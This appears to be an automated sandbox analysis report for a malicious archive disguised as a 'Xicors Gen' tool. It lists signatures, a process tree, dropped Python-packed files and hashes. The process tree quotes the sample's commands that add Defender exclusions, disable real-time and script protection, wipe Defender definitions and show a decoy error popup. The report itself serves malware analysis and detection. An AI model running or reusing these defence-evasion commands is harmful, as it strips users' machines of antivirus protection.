Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

07/10/2024, 12:10

241007-pcjdasvbrn 10

07/10/2024, 12:09

241007-pbznwsybkb 10

Analysis

  • max time kernel
    98s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/10/2024, 12:10

General

  • Target

    Xicors Gen(1).rar

  • Size

    14.5MB

  • MD5

    2620f203a75349b6924cf1e96a63f6a2

  • SHA1

    cef364175e57f23e10d6bfa79912a4eb0749dc79

  • SHA256

    3360f0ceb4fa0e36f3767a4aee69ecfe0098198b655a0993f9119698f45ab267

  • SHA512

    00e557ea0baa40b5497d23ca072d69575a5faa872ecf3497d35e07b9e89a96c5fba923e97588e4d61381a02203aef88c5b9ed53a584e617f9f6433f1262ed821

  • SSDEEP

    393216:gJJ7UvRJQak2oJd5grZjvKvUjW3BRqymxtH:F1oLCrZ6UjW3+y2tH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 34 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Xicors Gen(1).rar"
    1⤵
    • Modifies registry class
    PID:2416
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3648
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3876
    • C:\Program Files\7-Zip\7zG.exe
      "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Xicors Gen(1)\" -spe -an -ai#7zMap6590:84:7zEvent26975
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1408
    • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe
      "C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe
        "C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4348
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4016
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('contact support', 0, 'oof error', 0+16);close()""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4668
          • C:\Windows\system32\mshta.exe
            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('contact support', 0, 'oof error', 0+16);close()"
            4⤵
              PID:1640
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3960
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:5076
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3248
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4688
      • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe
        "C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe
          "C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2328
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3076
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3044
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3684
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Contact xicorsellz on discord for support.', 0, 'Error 872 (Please flash bios or downgrade your OS)', 0+16);close()""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3952
            • C:\Windows\system32\mshta.exe
              mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Contact xicorsellz on discord for support.', 0, 'Error 872 (Please flash bios or downgrade your OS)', 0+16);close()"
              4⤵
              • Suspicious use of FindShellTrayWindow
              PID:4200
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:648
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:1132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1656
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:264
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Key locker! (DO NOT TOUCH)\Key!\New Text Document.txt
        1⤵
          PID:3896
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Scripts.txt
          1⤵
            PID:4276
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Key system code.txt
            1⤵
              PID:704
            • C:\Windows\system32\NOTEPAD.EXE
              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Java code 1.txt
              1⤵
                PID:4164

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                62623d22bd9e037191765d5083ce16a3

                SHA1

                4a07da6872672f715a4780513d95ed8ddeefd259

                SHA256

                95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

                SHA512

                9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\VCRUNTIME140.dll

                Filesize

                106KB

                MD5

                4585a96cc4eef6aafd5e27ea09147dc6

                SHA1

                489cfff1b19abbec98fda26ac8958005e88dd0cb

                SHA256

                a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

                SHA512

                d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_bz2.pyd

                Filesize

                48KB

                MD5

                20a7ecfe1e59721e53aebeb441a05932

                SHA1

                a91c81b0394d32470e9beff43b4faa4aacd42573

                SHA256

                7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8

                SHA512

                99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_ctypes.pyd

                Filesize

                58KB

                MD5

                5006b7ea33fce9f7800fecc4eb837a41

                SHA1

                f6366ba281b2f46e9e84506029a6bdf7948e60eb

                SHA256

                8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81

                SHA512

                e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_decimal.pyd

                Filesize

                106KB

                MD5

                d0231f126902db68d7f6ca1652b222c0

                SHA1

                70e79674d0084c106e246474c4fb112e9c5578eb

                SHA256

                69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351

                SHA512

                b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_hashlib.pyd

                Filesize

                35KB

                MD5

                a81e0df35ded42e8909597f64865e2b3

                SHA1

                6b1d3a3cd48e94f752dd354791848707676ca84d

                SHA256

                5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185

                SHA512

                2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_lzma.pyd

                Filesize

                85KB

                MD5

                f8b61629e42adfe417cb39cdbdf832bb

                SHA1

                e7f59134b2bf387a5fd5faa6d36393cbcbd24f61

                SHA256

                7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320

                SHA512

                58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_queue.pyd

                Filesize

                25KB

                MD5

                0da22ccb73cd146fcdf3c61ef279b921

                SHA1

                333547f05e351a1378dafa46f4b7c10cbebe3554

                SHA256

                e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0

                SHA512

                9eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_socket.pyd

                Filesize

                43KB

                MD5

                c12bded48873b3098c7a36eb06b34870

                SHA1

                c32a57bc2fc8031417632500aa9b1c01c3866ade

                SHA256

                6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa

                SHA512

                335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_sqlite3.pyd

                Filesize

                56KB

                MD5

                63618d0bc7b07aecc487a76eb3a94af8

                SHA1

                53d528ef2ecbe8817d10c7df53ae798d0981943a

                SHA256

                e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b

                SHA512

                8280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\_ssl.pyd

                Filesize

                65KB

                MD5

                e52dbaeba8cd6cadf00fea19df63f0c1

                SHA1

                c03f112ee2035d0eaab184ae5f9db89aca04273a

                SHA256

                eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead

                SHA512

                10eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\base_library.zip

                Filesize

                1.4MB

                MD5

                d220b7e359810266fe6885a169448fa0

                SHA1

                556728b326318b992b0def059eca239eb14ba198

                SHA256

                ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d

                SHA512

                8f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\blank.aes

                Filesize

                124KB

                MD5

                09445aaf5c38343e562d8770a6efddbf

                SHA1

                cea234756910fcdbab2487852e1051f9304d0584

                SHA256

                03f2ad775088967f6c1e984b05431cd636c59c8115e818a0073751fbc75c1517

                SHA512

                9f3b1c547240c490f9baec36ff058cceccd1c5ebab94159f3fb9d987e0a23b3b2caaa7baf0c95ee41cc628e937abcc14386994772adc725230dea6ac7fa7cdcc

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\blank.aes

                Filesize

                124KB

                MD5

                c19c38f57dc495dfe8eb374e0201bffa

                SHA1

                5c5b2dd521de5304d4fcae64bd9168954682629d

                SHA256

                0226b6f9d5652fbc2e6b51379043c93f76a2778454b21f24a19d9f829f5353cc

                SHA512

                79a9ca94fd6bea97ae6852be383d0ec8e582f53e8746e0f693fc250a16b44c61128005187f659b90696288082222f3c27546d5e6ec39b6bdab34682cdd65422d

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\libcrypto-3.dll

                Filesize

                1.6MB

                MD5

                27515b5bb912701abb4dfad186b1da1f

                SHA1

                3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411

                SHA256

                fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a

                SHA512

                087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\libffi-8.dll

                Filesize

                29KB

                MD5

                08b000c3d990bc018fcb91a1e175e06e

                SHA1

                bd0ce09bb3414d11c91316113c2becfff0862d0d

                SHA256

                135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                SHA512

                8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\libssl-3.dll

                Filesize

                223KB

                MD5

                6eda5a055b164e5e798429dcd94f5b88

                SHA1

                2c5494379d1efe6b0a101801e09f10a7cb82dbe9

                SHA256

                377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8

                SHA512

                74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\python311.dll

                Filesize

                1.6MB

                MD5

                0b66c50e563d74188a1e96d6617261e8

                SHA1

                cfd778b3794b4938e584078cbfac0747a8916d9e

                SHA256

                02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2

                SHA512

                37d710cb5c0ceb5957d11b61684cfbc65951c1d40ab560f3f3cb8feca42f9d43bd981a0ff44c3cb7562779264f18116723457e79e0e23852d7638b1a954a258f

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\rar.exe

                Filesize

                615KB

                MD5

                9c223575ae5b9544bc3d69ac6364f75e

                SHA1

                8a1cb5ee02c742e937febc57609ac312247ba386

                SHA256

                90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                SHA512

                57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\rarreg.key

                Filesize

                456B

                MD5

                4531984cad7dacf24c086830068c4abe

                SHA1

                fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                SHA256

                58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                SHA512

                00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\select.pyd

                Filesize

                25KB

                MD5

                1e9e36e61651c3ad3e91aba117edc8d1

                SHA1

                61ab19f15e692704139db2d7fb3ac00c461f9f8b

                SHA256

                5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093

                SHA512

                b367e00e1a8a3e7af42d997b59e180dfca7e31622558398c398f594d619b91cedc4879bfdda303d37f31dfcc3447faa88f65fd13bac109889cee8c1e3c1d62d0

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\sqlite3.dll

                Filesize

                622KB

                MD5

                c78fab9114164ac981902c44d3cd9b37

                SHA1

                cb34dff3cf82160731c7da5527c9f3e7e7f113b7

                SHA256

                4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242

                SHA512

                bf82ccc02248be669fe4e28d8342b726cf52c4ec2bfe2ec1f71661528e2d8df03781ae5ccf005a6022d59a90e36cea7d3c7a495bd11bf149319c891c00ac669b

              • C:\Users\Admin\AppData\Local\Temp\_MEI43602\unicodedata.pyd

                Filesize

                295KB

                MD5

                af87b4aa3862a59d74ff91be300ee9e3

                SHA1

                e5bfd29f92c28afa79a02dc97a26ed47e4f199b4

                SHA256

                fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7

                SHA512

                1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

              • C:\Users\Admin\AppData\Local\Temp\_MEI50002\blank.aes

                Filesize

                119KB

                MD5

                b95b42e28ba1e0c2101d4c3339a008c7

                SHA1

                4512fc349e1d6fee87b5efb75343f9dbe2581e6a

                SHA256

                d239fc3244e32e779a971ecfa143abd888700893f491b81f741050538e32b29b

                SHA512

                8d7d69bc5ddaa4a7b8b81340c4887348051bef5429e9fc205b5b64c76314b6783fdf3f2dd09188c72c76c1d18227730e53bed7dc1579839f592807fe7b0a29df

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z404ufel.bkz.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe

                Filesize

                7.4MB

                MD5

                d1485c468be8a91baf7dc60d7525cf32

                SHA1

                70f3179a1b41b2baf69c3c4b635eef01da48410d

                SHA256

                2f1f2dbc47caf96cdba43cd95aa046f6010a7d8cd76e677020d300ff2cc80a7f

                SHA512

                84c7e4ad42090be655e5ad1844d935be4bc3f70f1b6c2afa04d701cb80089c2b5e24cdad3dd651b44000ef835512c918a23b4dab6386266b780ca2774ddb7eb8

              • C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe

                Filesize

                7.4MB

                MD5

                4ef76bb7229ac9e11a287a111956aeab

                SHA1

                fbbe2e73a38333f7121e7af93419df8f8455d292

                SHA256

                2842b1f2cf53ea2fef57e93a7c83c7381db33a0e97c13b417b311eabcb0f3551

                SHA512

                b2f1511fd4e2a7e8b4dc23c86d82a24db4ffa7fc7885032027c29802a36211d127f34b858a7cb1f2435b56189bebf0b90e6daed004e3469888eeacc1aa78bbf6

              • memory/1892-141-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp

                Filesize

                52KB

              • memory/1892-53-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp

                Filesize

                60KB

              • memory/1892-75-0x00007FFA98650000-0x00007FFA98669000-memory.dmp

                Filesize

                100KB

              • memory/1892-77-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp

                Filesize

                52KB

              • memory/1892-87-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp

                Filesize

                5.1MB

              • memory/1892-86-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp

                Filesize

                140KB

              • memory/1892-85-0x00007FFA89960000-0x00007FFA89A2D000-memory.dmp

                Filesize

                820KB

              • memory/1892-91-0x00007FFA9DF80000-0x00007FFA9DF8D000-memory.dmp

                Filesize

                52KB

              • memory/1892-90-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp

                Filesize

                80KB

              • memory/1892-84-0x000002113D720000-0x000002113DC42000-memory.dmp

                Filesize

                5.1MB

              • memory/1892-83-0x00007FFA90580000-0x00007FFA905B3000-memory.dmp

                Filesize

                204KB

              • memory/1892-80-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp

                Filesize

                5.9MB

              • memory/1892-93-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp

                Filesize

                1.1MB

              • memory/1892-71-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp

                Filesize

                140KB

              • memory/1892-38-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp

                Filesize

                5.9MB

              • memory/1892-70-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp

                Filesize

                100KB

              • memory/1892-117-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp

                Filesize

                140KB

              • memory/1892-118-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp

                Filesize

                5.9MB

              • memory/1892-142-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp

                Filesize

                5.1MB

              • memory/1892-67-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp

                Filesize

                180KB

              • memory/1892-140-0x00007FFA98650000-0x00007FFA98669000-memory.dmp

                Filesize

                100KB

              • memory/1892-139-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp

                Filesize

                1.5MB

              • memory/1892-138-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp

                Filesize

                100KB

              • memory/1892-137-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp

                Filesize

                140KB

              • memory/1892-136-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp

                Filesize

                180KB

              • memory/1892-135-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp

                Filesize

                60KB

              • memory/1892-134-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp

                Filesize

                140KB

              • memory/1892-133-0x00007FFA89960000-0x00007FFA89A2D000-memory.dmp

                Filesize

                820KB

              • memory/1892-132-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp

                Filesize

                1.1MB

              • memory/1892-131-0x00007FFA9DF80000-0x00007FFA9DF8D000-memory.dmp

                Filesize

                52KB

              • memory/1892-130-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp

                Filesize

                80KB

              • memory/1892-127-0x00007FFA90580000-0x00007FFA905B3000-memory.dmp

                Filesize

                204KB

              • memory/1892-43-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp

                Filesize

                140KB

              • memory/1892-73-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp

                Filesize

                1.5MB

              • memory/2328-228-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp

                Filesize

                100KB

              • memory/2328-242-0x00007FFA98650000-0x00007FFA98669000-memory.dmp

                Filesize

                100KB

              • memory/2328-191-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp

                Filesize

                180KB

              • memory/2328-192-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp

                Filesize

                100KB

              • memory/2328-193-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp

                Filesize

                1.5MB

              • memory/2328-194-0x00007FFA98650000-0x00007FFA98669000-memory.dmp

                Filesize

                100KB

              • memory/2328-195-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp

                Filesize

                52KB

              • memory/2328-196-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp

                Filesize

                5.9MB

              • memory/2328-224-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp

                Filesize

                5.9MB

              • memory/2328-198-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp

                Filesize

                5.1MB

              • memory/2328-197-0x0000023FBC0C0000-0x0000023FBC5E2000-memory.dmp

                Filesize

                5.1MB

              • memory/2328-200-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp

                Filesize

                80KB

              • memory/2328-201-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp

                Filesize

                180KB

              • memory/2328-203-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp

                Filesize

                100KB

              • memory/2328-184-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp

                Filesize

                60KB

